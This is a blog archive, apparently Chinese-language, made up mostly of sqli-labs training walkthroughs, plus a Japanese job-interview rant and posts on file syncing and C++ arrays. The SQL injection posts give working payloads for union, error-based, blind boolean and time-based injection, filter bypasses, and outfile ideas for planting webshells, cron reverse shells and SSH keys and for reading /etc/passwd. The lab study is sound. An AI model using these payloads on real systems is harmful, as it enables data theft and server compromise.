博文

目前显示的是 九月, 2020的博文

Sql Inject 拦截器过滤

 拦截器过滤在 SQL 注入中是很常用的一个功能。 1、and 使用 && 代替         所代表的意义是一样的 2、or 使用 || 代替         所代表的意义是一样的 3、urlcode 转码         例如[']转成%27,普遍用在代码检测不彻底的情况下。 4、SQL技巧         绕过空格,使用select(1),(2),(3)类似的形式 5、相关函数     5.1 extractValue                 报错注入的另一种形式,与双查询类似。  5.2 %a0编码                 对于空格的限制,采用编码。     5.3 %bf编码                 宽字节绕过。 6、双重参数         双重参数是指,同时提交两个参数名一样的参数,服务端仅验证了第一个。底层代码却处理了2个参数,达到绕过程序检测的目的。 例如 payload:http://192.168.230.129/trainer/Less-27/?id=911%27UnION%a0SElect(3),(SELect%a0group_concat(password)from%a0users),(5)and%a0%271 payload:http://192.168.230.129/trainer/Less-32/index.php?id=%bf%27%20union%20select%201,version(),user()%20--+

Sql Inject 协议头注入

图片
基于 User-Agent 注入 这是一个非常经典的 HTTP 协议注入,非常 NB。故此,我细化地写了下来。 payload:1',(select 1 from (select count(*),CONCAT(0x3a,0x3a,(select table_name from information_schema.tables where table_schema='security' limit 1,1),0x3a,0x3a, floor(rand()*2)) as a from information_schema.columns GROUP BY a)b),'3'); # 总结: 明显是后台 php 程序取 User-Agent 头信息地时候没有加入过滤,直接insert 就插入了。 这种类型地注入,就是明显的双查询注入,故意的引起报错造成信息泄露。 目前似乎没有开源工具针对 Http 协议头做参数检测。 基于 Cookies 注入 cookie 在程序处理 sessions 中非常、非常之常见。部分程序里的 cookie 是被 base64 或者其它编码程序编码过的,但是也有解码的方法,这是后话了。

派遣業界の信頼問題

今日、不知名の会社にZOOMで面接されました。一番大変な問題は信頼問題です、面接の際に「噓、噓」と言われました。詳しく説明したいですけど、「謙虚してください。言わせないところは言わないでください。」自分で証明の機会もなくなっちゃった。 自分より強く人は「噓」、全然日本人らしくない、中国人のようなと感じします、こなん簡単的な開発は誰でもすぐできるでしょう、HTTP API、基礎的な能力でしょう? こんな簡単的な問題を出すのはほんとに技術者ですか? 日本のIT業界に対するもう一回自分の認識を変えました。 OK、実際これが大きく社会問題です。自分が経歴したことだけではなく、ほかのエンジニア絶対に経歴しました。 詳しく調査は実施しています、あとで更新します。 今日は2021年6月19日、その会社からもう退場しました。二ヶ月間ぐらい勤務した、その人は実際中国語が喋る、韓国にも行ったことあるそうです、多分韓国語もしゃべれるかも、しかし年をとった。もともとの国籍はどこなのか、自分もよくわからない。多分中国。 あいつは全くやばい。お客さんの仕事スケジュールは全然無理なんですが、いつもできるできるできると話して、結局、僕たちにやらせる、黙って、やります。 心なかには何回「FUCK」と言いましたが、現実が変えることができません。 とりあえず、そんな会社は2回仕事はないです。

Sql Inject 基于outfile

基于导出,导入文件的注入。目前来说,一般是不能利用的的,它需要在服务器上开启【secure_file_priv】参数 在mysql.init 里设置【secure_file_priv =】后,重启mysql即可使用,默认是关闭或有限访问路径。 查看参数:SHOW VARIABLES LIKE "secure_file_priv"; 利用思路: 普通导出文件:select * from users into OUTFILE  'c:\\1.txt'; 写入私钥:select 'ssh private text' INTO OUTFILE '/root/.ssh/authorized'; 写入定时任务:select 'cron time misstion' INTO OUTFILE '/etc/cron.d/revershell'; 写入shell:select 'php shell' INTO OUTFILE '/var/www/html/revershell.php'; 加载文件 select HEX(LOAD_FILE('c:\\1.txt')) select HEX(LOAD_FILE('/etc/passwd')) select HEX(LOAD_FILE('/etc/issue'))

Sql Inject Less 9 盲注基于休眠时间

因为基于休眠时间受限于网络带宽,时间,延迟等因素。所以返回的数据相当地不准确,需要根据返回地数据进行英文单词参照,慢,延迟高,还不准确。 如果发现了这类型地漏洞,那简直是噩梦。 注入地址,例:http://192.168.230.130/trainer/Less-9/?id=2' and sleep(10) --+ 查询数据库payload为:'and if(SUBSTR(DATABASE(),1,1)='s', sleep(5), null) --+ 查询表的payload为:' and if(SUBSTR((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e', sleep(5), null) --+ 查询表字段的payload为:' and if(SUBSTR((select column_name from information_schema.COLUMNS where table_name='emails' limit 0,1),1,1)='i', sleep(5), null) --+ 查询表数据的payload为:' and if(SUBSTR((select id from security.emails limit 0,1),1,1)='1', sleep(5), null) --+ 测试SQL: select SYSDATE() from dual where 1=1 and if(SUBSTR((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e', sleep(5), null) select SYSDATE() from dual where 1=1 and if(SUBSTR((select column_name from information_schema.COLUMNS where table_name='

Sql Inject Less 8 盲注基于布尔型

图片
实验 基于布尔类型注入其实就是根据布尔值来判断获取的ascill码的数值来进行注入的方式。 注入点,例:http://192.168.230.130/trainer/Less-8/?id=1' AND 1 --+ 0是false 1为true 举例,目前使用的数据库为:security select ASCII(substr(DATABASE(),8,8)) s 115 e 101 c 99 u 117 r 114 i 105 t 116 y 121 测试: 当我取第一个ascii码值,判断他大于114时,此时为false,判断true和false的依据为【You are in...】是否显示。 数据库第一个字符判断是否大于116,是false。 大于114 小于116 ,明显就是115了,也就是Security里的S字符。 这种明显效率低下。远远不如使用 group_concat 函数来的直接,非快速获取大量信息的方式。 POST注入,基于布尔值 POST注入其实和GET是一样的,都是基于布尔值来判断具体的ascii码值 payload:1") or substr(DATABASE(),1,1) ='s' #

Sql Inject Less 5-7 - 双查询注入

图片
实验 注入地址: http://192.168.230.130/trainer/Less-5/?id=1' and (select 1 from (select count(*),CONCAT(0x3a,0x3a,(select username from security.users limit 0,1),0x3a,0x3a, floor(rand()*2)) as a from information_schema.columns GROUP BY a)b) --+ 这种类型的注入问了很多人,最后得到了【双查询注入】。我一直以为是 【double 查询注入】,果然一定要严谨,严谨,再严谨。 只有这样才能建立良好的思维导图。 payload:1' and  (select 1 from (select count(*),CONCAT(0x3a,0x3a,(select table_name from information_schema.TABLES where TABLE_SCHEMA='security' limit 0,1),0x3a,0x3a, floor(rand()*2)) as a from information_schema.columns GROUP BY a)b)     --+ 出现的结果会是下图地两种情况,随机刷新出结果来: 查询表字段信息: payload:1' and  (select 1 from (select count(*),CONCAT(0x3a,0x3a,(select column_name from information_schema.columns where TABLE_NAME='emails' limit 0,1),0x3a,0x3a, floor(rand()*2)) as a from information_schema.columns GROUP BY a)b)     --+ 查询数据信息:(select 1 from (select count(*),CONCAT(0x3a,0x3a,(select username from security.users limit 3,1),0x3a,0x3a, floor(rand()*2)) as a

Sql Inject Less 1-4 注入基础

图片
搭建环境 项目地址:https://github.com/Audi-1/sqli-labs 软件版本: php5.2.17nts mysql5.7.26 apache2.4.39 需要确保 php.ini 的三个参数处于关闭状态. 由于提交到后台的参数php程序自动会转义,例如单引号,这个在之后的版本已经被移除。由写程序的人自己来负责。 magic_quotes_gpc = Off magic_quotes_runtime = Off magic_quotes_sybase = Off 开始调试 Less-1 http://192.168.230.130/trainer/Less-1/?id=1' --+ 统计出表列 payload,表一共有3列:1' order by 4 --+  注意:order by 后的数字是表的列,第一列,第二列. 然后自定义payload执行我们自己的sql语句。 payload:1' select 1,2,3 --+ 注意:1是id列,在页面上没输出,使用这个字段是看不到结果的。 2和3这里、就可以写我们自己的sql语句了。 例如可以构造成:1' select 1, version(), 5 --+ 在mysql中的查询也会变成如下的列: Mysql数据库的元字段等信息因为都保存在 information_schema数据库里 ,所以可以构造payload查询这个数据库里的表:tables payload: -1' union select 1,TABLE_NAME, TABLE_ROWS from information_schema.tables where table_schema='security' limit 0,1 --+ 注意控制 limit 来筛选数据。 payload: -1' union select 1,group_concat(TABLE_NAME), group_concat(TABLE_ROWS) from information_schema.tables where table_schema='security' --+ 因为加入了group_concat函数全部输出了,所以不用调整limit 这样就可以查询出来这个数据库

同步百万级别以上文件的做法

最近在一个场景下,要同步6百多万个文件,电脑挂机同步了半个月。经过这次实践,实际上、发现根本不需要花那么长时间。 首先先说下文件的构成: 大约1GB的文件大约占0.1% 小于1GB的文件占大约20% 大部分99%文件小于1MB 1、大文件可以充分使用带宽,能够最大发挥带宽的优势。同时也因为要考虑到断点续传,所以分块传输,利用开源软件、挂机同步是必不可少的。 2、小文件,小文件由于无法最大占用带宽,并且单次传输量并不多,平均最大1秒7个。加上文件一致性检查等,小文件花费的时间远远大于大文件同步所需要的时间。 所以建议,所有的小文件可以先通过linux 的命令 find 然后tar 到一个文件里,进行传输。最大地利用带宽。 无奈,我已经同步了14天了,已经不缺这一天了。写这篇文章,也算是警戒下自己多思考,思考!寻找解决问题的最简便方法。 大概的类似于命令: nohup find ./svn -size -1024 |xargs tar -zcf ./svn.tar.gz & 1024是1kb以下的文件。 当然上面地做法有些抱歉,除了没有好的带宽或者适当地云服务器之外可以这么做。

数据结构 - 物理结构的存储

图片
线性存储 如下的程序例子: #include <iostream> using namespace std; /** * 顺序存储结构 **/ int main() { int arr[10] = { 1,2,3,4,5,6,7,8,9,0 }; int* p = arr; printf("%p \n", p); for (int i = 0; i < size(arr); i++) { printf("%p : %d \n", p+i, *(p+i)); } printf("\n"); system("pause"); return 0; } 输出结果为 可以看到由于int类型在内存中占用4个字节的长度,所以出现了地址每4个间断进行了输出。 可以看到他的内存地址,都是连续的,006FF9**。可以证明,数组是在内存中开辟了一片连续且向邻的存储空间。 链式存储 索引存储 散列存储(HASH存储)